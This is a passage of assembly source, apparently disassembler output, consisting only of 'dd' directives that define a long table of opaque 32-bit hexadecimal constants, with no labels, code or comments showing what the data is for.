		dd 0BA572F6Dh, 3C00EA50h
		dd 7FF98BCDh, 0DB7BADh,	10F01949h, 6D3F075Fh, 8375Ch, 0E29A8503h
		dd 1F25C530h, 0C00A5CB6h, 0A259AEA9h, 0B5004C10h, 7E283A32h
		dd 3F048F4h, 738C2A7Ch,	64E8E457h, 0A7F890D3h, 1750DF7Ah
		dd 8500C491h, 59456247h, 0C92291h, 553F97CEh, 696692D7h
		dd 7C018977h, 11AEEEC3h, 0EFD07B73h, 3680017h, 0E4BF94DBh
		dd 6000C1D5h, 0D75BD48Bh, 0C3A50Bh, 0FBCC9012h,	3A23F8FAh
		dd 99893Eh, 0B05364C2h,	1FB8A6h, 5F6E43C5h, 7C13AE9h, 96FB7400h
		dd 940D5245h, 0B97B8Bh,	4444AD4h, 557E37FEh, 95EAF5E4h
		dd 0DD6A8C00h, 0D9B087F6h, 75D80751h, 0A0A6882Eh, 35664E4Fh
		dd 0D6081A0Fh, 0AB81C061h, 0A9475Eh, 2629A07h, 0BD14EFA5h
		dd 0D890400h, 61DE8271h, 0DFA11357h, 0D6900731h, 0CAE46145h
		dd 46D2C8FAh, 5EBAA200h, 7123B53Eh, 0F6C47606h,	2864C061h
		dd 42F81BBCh, 0EB3B7800h, 0C6CE8573h, 709B60E8h, 6EC46B4Dh
		dd 0AB160300h, 8D18471Dh, 0AC2B1394h, 660B0045h, 46F24A62h
		dd 567FF600h, 0E30CD6EAh, 38644812h, 0F86DB700h, 0BD3C5948h
		dd 0EE967E00h, 0BB5BB6ADh, 0D5D6C5CCh, 0D3688061h, 893D4EBFh
		dd 75950FB9h, 0F9632CA8h, 41DE0027h, 43805FCFh,	970FCD3Fh
		dd 40204604h, 1B7C13FBh, 38E7482Ah, 9917B680h, 0C524A891h
		dd 833D0050h, 46D8931Ch, 7D4DF951h, 3D895880h, 4247DBD3h
		dd 0CA0744F0h, 0A34AD663h, 21D70630h, 1B910020h, 60BA99B5h
		dd 0E900590Dh, 3D97D55Bh, 16F9A7F3h, 0C53DCA8h,	0A32EF521h
		dd 66006977h, 17C21C02h, 188E48Eh, 4DA1488Ch, 0E056AFB8h
		dd 4C066299h, 0CFEBB07h, 83E50012h, 0E3BE6F12h,	4D008A64h
		dd 6DFA86DCh, 18B86B71h, 38892BE5h, 73247BAAh, 5100C03Eh
		dd 0C0222A98h, 0BAAB0078h, 839281C3h, 7600F6C2h, 5F3A7BBh
		dd 1CDDF249h, 8BFA5Fh, 0DFF43768h, 901C7FB3h, 40C0190Fh
		dd 46219DEEh, 89F3001Bh, 99BDDC91h, 0CCE5F6CEh,	0C70044EBh
		dd 3ED99F27h, 29168Ah, 80CCDAA3h, 0E51D4274h, 0F06BCB39h
		dd 0FA12D50h, 0BDFFED00h, 8B571E25h, 94EB0EC3h,	6CC09887h
		dd 528AA4B5h, 2C0E9BB0h, 3727635Bh, 92473D00h, 544EEAh
		dd 39BE1933h, 15A3D78Dh, 64384C00h, 7068ECF6h, 77D20E67h
		dd 83604798h, 73BBCB48h, 0F20355Ch, 0E1C427E0h,	3B8FBDFCh
		dd 7D30F4C5h, 32A005Bh,	0FD98D9D3h, 1600978Ch, 72470FF3h
		dd 6380EDAh, 0DE8DB11Bh, 0EC0164A0h, 0E4AE3B58h, 0B440A17Fh
		dd 369397h, 7B198999h, 0F0AD4964h, 3800ED98h, 0A287E68Ch
		dd 24367884h, 0F2177h, 0E42CDD7Bh, 3800F720h, 4CDB250h
		dd 5D91DEh, 0D89F3108h,	538060F8h, 250DC000h, 0DC45EFE5h
		dd 8B5900A8h, 5AC2741Bh, 30011CC6h, 41A00C7Eh, 9CF04FECh
		dd 0D1DF13A6h, 0B0F902DDh, 8FE04C11h, 0C80022AAh, 42A19955h
		dd 0A65BDAh, 0ED90BF40h, 21A3A7E8h, 53DE0800h, 94AD969Ah
		dd 0C64EA8Ch, 7170CEFFh, 0C0000648h, 0D52F5C3Fh, 1C3BC25Ah
		dd 65F02Bh, 4C5B72DEh, 0E026603Dh, 0B300C705h, 9A6D40FCh
		dd 7509874h, 6369DFA5h,	70EBF00Ah, 0A903C451h, 1D492FCAh
		dd 3E207B30h, 6B00861Ah, 89E0D506h, 0E8F9A411h,	2B038BE4h
		dd 49035478h, 0A51DA042h, 0DCDB000Bh, 6983ED55h, 901F8A2Eh
		dd 2C070EF0h, 29B04008h, 2C50760h, 7A2E30A0h, 0F0A113B5h
		dd 0D0843B9Ah, 150062E3h, 587808C9h, 0DCC59Ch, 30C75697h
		dd 754F64A8h, 0DA6CFF00h, 514B3F88h, 0A7050021h, 626B61D3h
		dd 8A00524Dh, 72E1C80Ch, 135A56ECh, 9C752Ch, 0C46A0828h
		dd 0AFFAE469h, 0E7479002h, 60F2464Fh, 13B1F1CCh, 0C7B796h
		dd 7AF9FF74h, 33008E32h, 726EEE9Fh, 0E870BAEh, 0C02D6CC8h
		dd 65D69260h, 700A7BCh,	0D09F5BCEh, 0C3CD05h, 9C0C9DA4h
		dd 2B181B47h, 0D34D88F2h, 344722Ch, 1ED40F86h, 87604F1Ah
		dd 0F2CAA74h, 0BF14EB00h, 0D58265F1h, 0E08C3945h, 7A01E305h
		dd 310800Bh, 0BF00DDE6h, 4A75F25Ch, 0BC8E6Bh, 8BBF3C1h
		dd 88531C62h, 0C8E5FB00h, 0C51513C2h, 765F005Bh, 31D46480h
		dd 1F0FD0FDh, 0C3099589h, 88DEB1E4h, 29F81A7h, 45ADE7CCh
		dd 4440A214h, 0B17939A6h, 901A2400h, 77CE6567h,	765C2ECDh
		dd 0E087007Ch, 0C37A940Ah, 0B173D600h, 0A0EC51E2h, 2F0C2B7h
		dd 10C4DD57h, 0D0C86426h, 0DBFC1903h, 4CBD906Dh, 1760E5Dh
		dd 884D3009h, 9689F460h, 529ACFA0h, 0EAF5B815h,	88FA2EA0h
		dd 7F70CC50h, 0C1B80052h, 0B1C75535h, 0AC740D30h, 0D2C87802h
		dd 4179A442h, 0BCF95810h, 121398D0h, 2FC0B60h, 21269519h
		dd 0FA01C7E0h, 245B7700h, 0D2F3697Dh, 0BAB90096h, 201DC508h
		dd 4B01AEE5h, 49166485h, 0F430D650h, 38257BA4h,	0BB803A99h
		dd 5FD048EAh, 0B917E2D2h, 4C1DB15Dh, 0DA81B5C0h, 0E2E17h
		dd 733A0356h, 8D846DFh,	0F998438h, 40488F71h, 0A8541C5Fh
		dd 0E09700D9h, 0A3E17898h, 0AD17EB6Ah, 2AEA5ABh, 5ECBCC46h
		dd 3FB394C0h, 73D27100h, 30810852h, 404A07CFh, 0E71DC6F7h
		dd 0D15F37B9h, 710AE8D7h, 0D408312Eh, 0E40066A2h, 9D30EF33h
		dd 7F02972h, 0E79BB97Bh, 743C71Ch, 0AE8EB02Ah, 16335358h
		dd 0F8BEF036h, 0B15E03h, 6E9465F2h, 74DBF05Ah, 33D6A900h
		dd 0E16AAE6Ch, 4DC7BC8h, 85E3F95Eh, 572C83E4h, 0BA2420FFh
		dd 9E3A7F25h, 3E0603DEh, 0CA49D7BFh, 0EBB0414Ah, 8E249C32h
		dd 9C2408h, 89BBE565h, 98074EDBh, 3DCD1B76h, 80E0DA20h
		dd 74BD751Dh, 0C4B0B5h,	6FEA693Fh, 3675DDD5h, 0D6574700h
		dd 40EF804Eh, 9BA900A8h, 0A7441169h, 4C9862E9h,	0D5579D01h
		dd 1917DEF5h, 0C063E6D8h, 305B4418h, 843B59F7h,	902B26EAh
		dd 0C140EC00h, 3A8F89ACh, 681F1A9h, 0F29A2360h,	0AB002078h
		dd 0A6027200h, 2563D12Bh, 2F530064h, 0DA0549C9h, 234814B8h
		dd 0F35500D4h, 80E2CBCFh, 5DFD00D7h, 0F73E9E7Ch, 0BE13EBF6h
		dd 0C800C598h, 0B21A8B4Bh, 11080034h, 0ED6F5496h, 0C4BAF865h
		dd 0EC00F673h, 932B38A9h, 0EB29C3h, 0D6E124B4h,	945E7E58h
		dd 0D5BB0612h, 4E00D7A8h, 504AE0C5h, 0E23CA428h, 0CECA80ABh
		dd 0EA148D6Bh, 5F1C0055h, 80AF06E0h, 0BC0A015Eh, 0D4C103E4h
		dd 8F9F5780h, 2A61085h,	0DCB6387Dh, 8C50869Ch, 8107CFFEh
		dd 0A63DD3ACh, 4D65E770h, 0E8330B8Ch, 80DF24C0h, 82BB8570h
		dd 1CCB006Ah, 70AA1FE9h, 54988E30h, 8B312D07h, 737265F6h
		dd 0E682C018h, 0D25107ADh, 3FD6DF8h, 77908740h,	94000885h
		dd 0CA22B812h, 72C9054Ch, 7BC60078h, 0AA724AB3h, 3E74F241h
		dd 193D3Ch, 145FE15Ah, 3AC26E59h, 0AD809DACh, 1E5C3A98h
		dd 7B00FE28h, 4E0D2937h, 173353E9h, 3C739Bh, 7DB74844h
		dd 5D0092DEh, 99069385h, 1C38481h, 0B20996F6h, 0F4CC4E0Ch
		dd 3213911Fh, 0AB00D813h, 0D15F10FBh, 5EB50023h, 3DC924DBh
		dd 7C05EB25h, 429863E0h, 25A600C8h, 84009416h, 0A460D175h
		dd 0FD033FE0h, 8D56EDB5h, 0F483E0CFh, 3C3CB2A8h, 359DFB24h
		dd 0E315C3EEh, 2900E04Fh, 9F4B444Ah, 9F0D253h, 0DCAF7127h
		dd 33DBA887h, 5AA06914h, 616F9831h, 22E18070h, 71AE1AB5h
		dd 16D23F9Ch, 454A6000h, 46AC891Ch, 50189E27h, 0DE190074h
		dd 0C705353Ah, 0D50086CFh, 56B90D9Fh, 15C162Eh,	7FB114CBh
		dd 0F00B9960h, 5300A3F6h, 911B6D12h, 0FB9B0Dh, 56D36807h
		dd 0DE5BBE73h, 0B520E10Ch, 1CF78ACh, 24ED4AD9h,	80BB0D3Dh
		dd 14D00920h, 2855DB6Eh, 165C9D31h, 41B4F5D3h, 7436343Ch
		dd 0F61BE4B3h, 0C90083E2h, 0C2FC72D0h, 14A3BA4Ch, 0EEB6DA16h
		dd 0CAF41900h, 283852BFh, 3D889800h, 4007B52Dh,	635900FCh
		dd 26ED3A84h, 2700D9B2h, 0DEBC9745h, 765A2D03h,	5CDC0096h
		dd 0E4D84A3Ah, 0DF00A2AFh, 8DEF2B67h, 0A040CC4h, 0A787968Ah
		dd 68510CF5h, 0E90063B0h, 0ADDDDC7Dh, 18CD93D0h, 0C11BBAB8h
		dd 610119BBh, 47E3D21h,	64744441h, 91B800E0h, 471BBF8Ch
		dd 0A00055D8h, 1F72CE35h, 15F202Bh, 0A39A86E2h,	0CA24C81Ah
		dd 58571060h, 0B1DF41C0h, 0C0C77Bh, 0C4A5EF2Ah,	4A445E59h
		dd 6E13CE02h, 0E07AAAC5h, 979F5210h, 483B5BF8h,	8EBA03BCh
		dd 0C8B48550h, 3EF269B9h, 1B00C522h, 0C831DCCEh, 5C000F7Eh
		dd 3C533497h, 1422DF10h, 0B9071DDBh, 7D6D1900h,	0A458AC82h
		dd 0B01B5A0Fh, 5115A53Fh, 0DA12E040h, 34B17FCh,	106D906Eh
		dd 93E94F67h, 5EF1F0D7h, 0BE8529C2h, 988470E5h,	64B70643h
		dd 0B879F345h, 0F0C19900h, 0ED6078DEh, 0FDFF03A6h, 99ABF84h
		dd 8F55F598h, 1328A15Dh, 0C0017102h, 9AC283EFh,	3022AC70h
		dd 0E3F05124h, 0EA725286h, 59D158h, 311296DDh, 1AD9476h
		dd 66EE05AFh, 208B99F8h, 60000880h, 0A4159E39h,	0E3A5B86h
		dd 484652Ch, 20C0FE86h,	4913C600h, 361B9C11h, 7F44FE23h
		dd 0C1310190h, 689660FBh, 0C09720E2h, 9DB7E83Fh, 0E6015155h
		dd 90926D5Ch, 21800CD1h, 0CB07CDA9h, 0D50037CEh, 4516696Bh
		dd 160C443h, 0A42DC1FEh, 0E3E6C08Bh, 802CAAF7h,	4F9A44B8h
		dd 4486913Fh, 0F300C839h, 2B0CEA07h, 3138CD64h,	99C18AE7h
		dd 0E2F0F8EEh, 100E5C30h, 0FC78B720h, 0D7B90C8Eh, 900983F9h
		dd 0CEB8F700h, 4E7ADD43h, 31810035h, 25200319h,	0C600FD12h
		dd 0AF24F774h, 70CD0E0h, 0D5CDD2E2h, 28CBB688h,	0C00B1800h
		dd 0FFB5B0E5h, 0BC251DF3h, 1AE40CE0h, 0F40BFA20h, 803267C0h
		dd 0BF3F1B78h, 17D63CF8h, 0EBE20D81h, 8D2006B7h, 608A8C88h
		dd 0ACFF2080h, 59BFE203h, 0CC89A500h, 33DB425Ch, 0E70138F1h
		dd 8DEAD307h, 0B1176065h, 4900D1EFh, 52CBAE7Ch,	0E9F9C11Dh
		dd 0EE926E0h, 0E247897Ah, 53135420h, 6D00953Ah,	841D18FAh
		dd 0CE9F2A5h, 8CBBA681h, 22849628h, 0D82262A7h,	822122A6h
		dd 448408FBh, 28A04C79h, 0AE888EB5h, 45EB883Eh,	77C828Bh
		dd 0CF7AA09Bh, 2F384133h, 1152004Eh, 27CE9A82h,	327205CBh
		dd 0C484F67Eh, 3C58C045h, 973E7A79h, 0D800F78Ch, 0C7A2D76Ch
		dd 0B98031h, 788ADBE1h,	0F97C3F88h, 46E6BF0Fh, 11A8808Fh
		dd 0FCB02A1h, 0C274559Ah, 57AB5B61h, 0A605EC80h, 0EA8241Dh
		dd 44C47740h, 7B16094h,	8E1229F4h, 2D2F38Fh, 0F0305391h
		dd 203BB5D6h, 0B488098h, 0D5A5276Fh, 0CDC80014h, 0C59F4D6Eh
		dd 26005D06h, 82E395BDh, 0E665B321h, 8F0D0598h,	0AE436Bh
		dd 0E19AD8D8h, 8774C988h, 7400AD7Eh, 90F280FBh,	0F9576CEh
		dd 70D78DDDh, 0F0CA3F07h, 0A3BFD60Bh, 0AF572303h, 0E82DD382h
		dd 3A72CCh, 250D5386h, 0E13C0CA0h, 64D4F500h, 0C4B0B648h
		dd 40D809C1h, 142046F8h, 8E17CAE1h, 0EF50A409h,	565C00FCh
		dd 769D29Bh, 7BDBBFA9h,	436F60B2h, 6701E3D0h, 0F10DA09Ch
		dd 8A60B6DDh, 0EB1B004Bh, 9A9148A2h, 0CA00BE3Bh, 49397799h
		dd 549232h, 0A0FBE178h,	0ECF9045h, 185E1900h, 0B3170398h
		dd 41300B4h, 520BA2D8h,	820FD03Dh, 2098E6CFh, 48A57AACh
		dd 7F5E812h, 5F6F734Bh,	0CEAE201Fh, 45037DABh, 92753042h
		dd 56809152h, 0E70C70h,	0D52F1AB3h, 18B6B821h, 0D045C300h
		dd 689319F0h, 405700E1h, 2E1F8A54h, 0D42C0B27h,	9500FC51h
		dd 0DBBE384Fh, 141B00BCh, 0E9DAFB58h, 0CB05DBAh, 0C96CDE00h
		dd 8F4572E0h, 5ABE04C2h, 8759B76Fh, 98467076h, 0F900D231h
		dd 0C8E24F0Eh, 7073BA66h, 0AF300A3h, 4D196B65h,	4500864Ch
		dd 7406FE13h, 0A3B3282h, 0C229D287h, 42760092h,	0A1C8B761h
		dd 763EFD3Ch, 7787C700h, 0D5A66766h, 10B90037h,	9F073FBAh
		dd 3C00F0E6h, 0C3A9CA08h, 439DC8h, 4408192h, 137AD1CBh
		dd 0F2603F00h, 39CCD307h, 2AAA00F8h, 0E10D34A6h, 330731ACh
		dd 0F92E89C4h, 487795C0h, 0D17D0068h, 739E7869h, 62091ECBh
		dd 80B282BDh, 7C514C6Fh, 0BB139D3h, 0EB284989h,	96C61420h
		dd 0A4A034FAh, 5E9C9354h, 0AFF7DC00h, 177F812h,	1E8CD053h
		dd 2065A2CFh, 2A00607Ah, 0ABC20C9Dh, 11EB79h, 41DAC0CDh
		dd 0E254BCE7h, 845D8D04h, 0ABE8EDh, 9CD8CEC7h, 0D6007618h
		dd 43F53326h, 0FBE3EFh,	63302848h, 24570172h, 91250703h
		dd 604140DFh, 0EF44F8ECh, 0A0EAD9Ch, 7DD6843h, 0BC60963Ah
		dd 16423C7h, 7F7AD072h,	0C490A1C6h, 99000F41h, 3CAF5063h
		dd 1BAD6E0h, 4EB7ECAEh,	0CCEDC4C1h, 0BE0028D3h,	0ACCB7106h
		dd 0C2279Fh, 0D445656Ch, 14691DB1h, 887A3D01h, 7B66724Ah
		dd 0E654DCh, 49D87817h,	92953C1Dh, 3E2F148h, 343AE994h
		dd 3D608FE5h, 1CC86913h, 0A1F66Eh, 0BF5156E1h, 0DD0028CAh
		dd 0D6E9E6D3h, 1DAEE89Eh, 417F861Ah, 9261EB0Fh,	0E980C669h
		dd 0EF07D834h, 0D3B9250Fh, 0AFCDE0D2h, 50FBC5h,	213A674Ch
		dd 1CE09640h, 24757A00h, 1763D915h, 27640029h, 690358AFh
		dd 557DD5F4h, 6B142800h, 43B484CDh, 3AEF00CBh, 2AB867E1h
		dd 0EE01B156h, 529F7A59h, 89206F07h, 65933E34h,	55DC5700h
		dd 64F8AF62h, 0EFE7AA03h, 0A0967D99h, 7FD0D936h, 23350141h
		dd 5DAB653Ah, 0E1FECCBCh, 0D100CE7Fh, 0AF8FE3E0h, 73DA703h
		dd 0F299142Ah, 7335701Bh, 58009E54h, 8D7877EBh,	5C217EAFh
		dd 0CA00BE36h, 855734A3h, 0C1018CB8h, 0E38DF766h, 81D07C26h
		dd 5D8F004Eh, 0B421879Dh, 0F70050EFh, 59F91E0Ch, 1605C78h
		dd 0BF2B4A29h, 0CC320E5Eh, 1839A337h, 2F8F807Eh, 5B41A5D9h
		dd 14D60E51h, 0DB206D94h, 6CA33863h, 8DFD3000h,	39A405C1h
		dd 0FA480350h, 6F420896h, 0A22426F8h, 0C7B50C00h, 21711A85h
		dd 779A3E4Ah, 0F87B940Fh, 562216ECh, 0C861BC00h, 4B5B9F35h
		dd 63DA01A1h, 1E0481C9h, 6D49D8DCh, 0CBAC71C0h,	1CABF305h
		dd 33341B0h, 8ADAF87Eh,	0C5A27DB0h, 36EB0D00h, 3A4A7F38h
		dd 0E01E6566h, 39C980B1h, 0F34CE494h, 242E0044h, 7015A6C4h
		dd 64CF00FBh, 1A3E106Ch, 6903305Ah, 0C7367DA8h,	0C0780227h
		dd 0DDA3642Ch, 3817FDC0h, 9C623100h, 7001C4F6h,	0A307EF7h
		dd 0BD34B63Ah, 0E5BE02B8h, 0C710F560h, 8ED800ABh, 8A25348Bh
		dd 92000230h, 9C6BCBA7h, 7A879AC1h, 6695016Eh, 0C8D22025h
		dd 85B8CC51h, 897B4E1Dh, 2A8CE2C0h, 0FA389B5Bh,	0D08E0035h
		dd 1791DBA6h, 0B23DD7DCh, 656980A5h, 0E0C55DF7h, 0FABC0FB1h
		dd 9EE711BFh, 0F2BE7036h, 48003A4Dh, 0D2F778FCh, 30F4BB2h
		dd 0D9FF2B8Ch, 9490255Fh, 9900E2F4h, 0FD7802AAh, 0EA6EC96Dh
		dd 130400CCh, 8653156Fh, 291CF660h, 0D080B2FBh,	5E4BC6A2h
		dd 0D57B00E6h, 0B7A8182Dh, 9800033Eh, 65EE8284h, 0D0B8DEh
		dd 0D3935E1Eh, 4B67CB26h, 4F94CD03h, 0D0072F6Bh, 1D6931h
		dd 3C06053Ah, 0E2B835C6h, 40906100h, 0F7A09D6Eh, 580F7E11h
		dd 0B100D07Dh, 0B7B6CC01h, 1C00A7F9h, 2C07C683h, 0A5EC79h
		dd 4197EB0Ch, 20F8F510h, 0C3E5900Eh, 0E1BFA00Bh, 0FCF02BB5h
		dd 6DD05863h, 75D44800h, 36F49F0Ah, 0B8A4AC00h,	84DAFA4Ch
		dd 60DC7878h, 0D835382Bh
		dd 0F5032821h, 2A1207BDh, 88180029h, 53731C5Dh,	0D700BE96h
		dd 546074DEh, 0B46D4Eh,	8592E4C5h, 246E46F5h, 0AC0DC11Dh
		dd 1D10DBC0h, 756FD0Ch,	84297104h, 4426417Fh, 158B907h
		dd 8353E9BBh, 0D8804041h, 0F0595135h, 0F9002BC0h, 0A6F45486h
		dd 82345h, 9E90AD0Eh, 0C2D7C0Ah, 6A6D0201h, 0FF99D8Dh
		dd 7A8EE0h, 8C89E61Ah, 31C5F326h, 8894B200h, 6A4CC98Bh
		dd 8A4A0EB9h, 6B6787EBh, 4E9F8016h, 0E700C570h,	1C6F1063h
		dd 6544BCh, 0FBC15DC8h,	0CB25D9C0h, 0D1597004h,	9C800A11h
		dd 91FAF3h, 0A515F6A6h,	0C9E2ED4Ah, 0F7F1A001h,	0AA45DE62h
		dd 108C30h, 1DD82E9Fh, 0CC9D9016h, 0F681C501h, 118C82D5h
		dd 636EC8h, 0EE30DAE5h,	0A6BE8BF9h, 3C101F00h, 0BBE902A3h
		dd 947F042Bh, 80DCB216h, 0B6B475D0h, 24ED6500h,	39CAE7DDh
		dd 742209C2h, 1C8098D5h, 0AE3E6448h, 6E65850Fh,	53B5406Fh
		dd 0DD6334h, 73DB12F5h,	0EF76F8D3h, 0FAE730C0h,	0F003DC52h
		dd 9A4500A5h, 57C36799h, 0C2008DD1h, 189D9B1Ch,	49F8848h
		dd 0DC8B8934h, 0C9388041h, 75F88297h, 2C9BC800h, 0F2A8F1EDh
		dd 0B03F48D5h, 0FEB33900h, 4D306A6Fh, 1D3B4300h, 8BD3AAA3h
		dd 49280682h, 883E807Eh, 0B1BD9500h, 4FE9329h, 0FDCA065h
		dd 0AF190111h, 0AC46EC8Dh, 0F367C887h, 4A51DE00h, 0BB54794Dh
		dd 0F4A3F46Eh, 841E1818h, 7C38206Dh, 7EB02500h,	0D2FF6EE9h
		dd 2EAF0FD4h, 0ED063071h, 14006095h, 9F8A4EDCh,	0E97A83Dh
		dd 0D35EF0C6h, 0D81AD1A0h, 827B8C0Bh, 0CF678800h, 45E7E9E2h
		dd 78F900D3h, 0BE3260CBh, 0A9173F3Ch, 9D006BEAh, 0E77BD531h
		dd 426300D8h, 27EBB045h, 7C3C9124h, 0D7FB80A7h,	8C7B83F2h
		dd 533300B8h, 1BA9C8C4h, 56005505h, 4ACCAD1Fh, 437B13h
		dd 0D788C08Ah, 0A61B4782h, 0DB51421Eh, 0EE8F6E80h, 4C8A1614h
		dd 6A18622Fh, 2AE92018h, 44D9F803h, 998782h, 90123E29h
		dd 3235333Bh, 391C102h,	0D79E1E0Eh, 8C0FF163h, 3393B7Bh
		dd 8F635001h, 4BA0F2D7h, 0F02DFEh, 21F9BBCCh, 914D1E3h
		dd 0EBF4400h, 0A7B1F6C2h, 0AD9B502Fh, 0B0F8009Dh, 0D77D6B2Ah
		dd 1200339Fh, 55C4CA4Ah, 7A729AFh, 0BC2DAD81h, 2AD2E319h
		dd 0C9DBE5F8h, 5B4ED900h, 31CDB79Eh, 0CB28002Bh, 0C1F950E6h
		dd 0D9001DDAh, 26B422AFh, 0EE5F3FCDh, 40A1D84h,	0F7638030h
		dd 0A74A3AAAh, 0D4E9A00h, 6C996D96h, 0DB560514h, 4EF0AB06h
		dd 0AE5F6C0h, 0B3FBC036h, 0A97E3009h, 60D77B00h, 0ADD854DFh
		dd 8CC400EAh, 8D6D3FB0h, 0BF02BD12h, 3166B7FBh,	7935C16Fh
		dd 508708E9h, 0C07E3934h, 2A0E858Ah, 14E84000h,	634BCAD5h
		dd 96950173h, 12CBDFAh,	808B71E1h, 66F328E8h, 0A7AFD7h
		dd 8C7332EAh, 4116E4E5h, 0F8BCD151h, 3F00602Dh,	915C34C4h
		dd 220D9B8h, 17F3AA36h,	0EC8071F9h, 265D89E4h, 660025EEh
		dd 48643B86h, 767F9892h, 215103F0h, 3FF75D81h, 603EFF0h
		dd 0ABE75B00h, 9A32B4ADh, 0F11B0126h, 0F263D562h, 46A9D4A2h
		dd 5C28EC17h, 0A820EEAh, 7ED86400h, 3B00CB8Fh, 0BEB5D45Ah
		dd 0E07132h, 88BFB0E9h,	9B84708Dh, 0A22F3F02h, 0F7B2819Ch
		dd 4CB5F00h, 29097607h,	0DCBDFCh, 0B33EBB78h, 0D7160C41h
		dd 0BF0F3E8h, 80056E00h, 0E3D213DBh, 38373A56h,	557DC54h
		dd 9AE465A5h, 0BCA80EE1h, 9ED8BBC1h, 774884A1h,	0AB03F183h
		dd 0FBB0EC4Ch, 0FF16D923h, 7800FAA4h, 391A91E5h, 0C050C07Dh
		dd 63163A7Ch, 40DF87A2h, 6946EDh, 5B869F82h, 97A760Eh
		dd 2AFBF02h, 406ACBD3h,	366D6B0h, 0F9F46992h, 26F0DFE9h
		dd 0B801A741h, 4DA1E36Bh, 0DEF9D1C3h, 4488D4h, 85F4E048h
		dd 0CE8D11EDh, 0B509EC00h, 0D38F5759h, 552D00E1h, 58483129h
		dd 0FE01EBAAh, 94D8D75Ch, 0CB70A08Ch, 0F7C609E8h, 0C210280h
		dd 203060CFh, 4800B383h, 0C2BEED5Bh, 3943F3C0h,	3D80A1EBh
		dd 0DC41955Ch, 4B065416h, 1D6E05AEh, 31FD0040h,	0AAC92066h
		dd 36B8A7FBh, 70743905h, 4A807313h, 92A32C1h, 9B17ADE0h
		dd 72140F80h, 4200E893h, 0FA0ACF3Fh, 53EE28h, 0BC69D9A6h
		dd 84D4C8BDh, 9939DF28h, 3061E500h, 0F828B9E2h,	0FDEE53h
		dd 0B7F1A69Fh, 0BEF26260h, 25D6B00h, 0CE7879C9h, 17EBFED8h
		dd 1CCAB1FCh, 2600BE50h, 0EC7FAB88h, 2009611h, 331A3C6Ah
		dd 551391Bh, 650AA79Fh,	0BED020F9h, 0D8487872h,	84453D15h
		dd 73361A6Ch, 42079480h, 0E4D43D6Ah, 6057E880h,	97CB52Dh
		dd 0F4175B00h, 9CB77188h, 0D11F038Fh, 373AE857h, 50D46591h
		dd 50F4EB98h, 4DD5DC01h, 88E83BCFh, 0CA58DC0h, 66422316h
		dd 63030968h, 0C04AB6D5h, 7BE490ABh, 596D00A5h,	8E0B4287h
		dd 0F000DF91h, 548365F7h, 60D2AA76h, 0E122D0D7h, 6800444Ch
		dd 0D61AF689h, 0E27672D4h, 0CB5500DFh, 0DEA7E740h, 48009D4Eh
		dd 829A2CB3h, 1E7B91h, 46ED92BBh, 4981F5C9h, 0A2EC1004h
		dd 0B809EDBh, 758EA53Dh, 946301C1h, 1588AE44h, 6C08201Ch
		dd 6A007C7Eh, 0FE37C63Fh, 0EE5940h, 0E3AA0354h,	0BEEC6FD9h
		dd 8AA41B00h, 7F5B8033h, 49193B3Dh, 6CFAB880h, 0B880724h
		dd 36E9A100h, 26A5BB08h, 0BC9C006Dh, 7990D4C1h,	20098B82h
		dd 15312FDh, 63DC2548h,	9E9C9D00h, 0FE542B00h, 0FA6CB0Dh
		dd 475700DDh, 0CFA75F6Dh, 85174FDAh, 700101A1h,	75230B0Dh
		dd 5D4820h, 33B02D91h, 4BF50CF3h, 0A8F61C13h, 0E67B3C00h
		dd 3FFAEDBh, 8343ED47h,	6FB839C8h, 100386E8h, 50A635E7h
		dd 0B5E189DEh, 28982EC8h, 0E47D09h, 87BC3C6Dh, 639023F8h
		dd 16ABB006h, 1C4098E7h, 40665264h, 1BBD9FE0h, 0CB7CD7E4h
		dd 9BC64F00h, 204DAC5Eh, 0DB90083h, 875D9CF5h, 28006FF9h
		dd 2CC6BDEFh, 0FBC793h,	60A722Eh, 0B7E22280h, 0E8F29500h
		dd 0AE52C4C8h, 0FBBC010Fh, 0CB65A186h, 7213D85Fh, 6800D073h
		dd 0B1B206A4h, 7B8D47A5h, 0E2A4C3EAh, 0FD98B6h,	3861AFACh
		dd 5A00E0B7h, 7DC58597h, 31EFA0h, 0DA3B7CEBh, 758B9558h
		dd 40F7241Eh, 0BA075D5Ch, 0EF778C04h, 43AE4510h, 575A0248h
		dd 2B92A506h, 30BFDCC3h, 7C463327h, 3365A02Ch, 2104332Ch
		dd 0B89039B9h, 5AF35Eh,	0AE2DE0Fh, 0F09FC41Dh, 3F0C6C00h
		dd 669207F8h, 2FEA0F76h, 0C4C4EC16h, 4F64C059h,	0E017091Ah
		dd 9C039638h, 0C828A4BAh, 1203A519h, 0A80AE6h, 0D101868h
		dd 709A1390h, 1CB40110h, 50323910h, 0A30011D8h,	335AFF8h
		dd 1E94E86Bh, 0C03C9D16h, 0D48A28BAh, 4F24426Dh, 43000609h
		dd 0CBF82295h, 3BA5039Eh, 3AE33757h, 667360A8h,	0FBADE100h
		dd 31043601h, 12DF004Dh, 6E392DCCh, 0FF1E64A7h,	1CFC0348h
		dd 4240D097h, 95A004FAh, 5CEB4CE8h, 0D51FBD00h,	36B51A96h
		dd 6C74F300h, 53CEB63Ch, 0F14007EEh, 701BE852h,	0D82CC58h
		dd 7200D8E2h, 63D778C2h, 435FA0h, 0FB31B5Ah, 5BEF0783h
		dd 50A23000h, 0BD1AA146h, 9AA5030Dh, 0DF098F4Fh, 2FF8FDC8h
		dd 0C8248B26h, 0D8595C00h, 15003DCh, 0BD880451h, 0D04B15A8h
		dd 4E009019h, 0A1FE6BD1h, 946FE825h, 82850060h,	0B2BC17C6h
		dd 35490800h, 8B7CA7FFh, 643D0444h, 80CE50F5h, 5319C9AAh
		dd 0B5113A01h, 0BC42A4F4h, 0AE406C1h, 631400BDh, 0E1BBCA13h
		dd 20C0F527h, 939537ABh, 3F21005Ah, 0A2A791BFh,	0C717481Dh
		dd 0E820C1F5h, 0B3EFF2Fh, 0ED72A42Ch, 2B4B8700h, 74397E3Ch
		dd 56C400BEh, 0C2DEB8FEh
		dd 731C00FAh, 0F862339Ah, 39008F19h, 0A6C5B0EEh, 0FDFB80h
		dd 0C6464870h, 9D08171Bh, 8E151C0Ah, 100A895h, 0B28054B5h
		dd 0BC0C502Fh, 57B400F2h, 69565A87h, 60000E8Ah,	0B11DA926h
		dd 70935ACh, 0E7EAD029h, 8ADCB040h, 660F2D58h, 0E0A64656h
		dd 7F309F25h, 4516001Ch, 7461B437h, 1900EBADh, 0BB6394D3h
		dd 7AA3CDh, 0FCDF3115h,	951B7F7Eh, 2001F8B0h, 21291FAFh
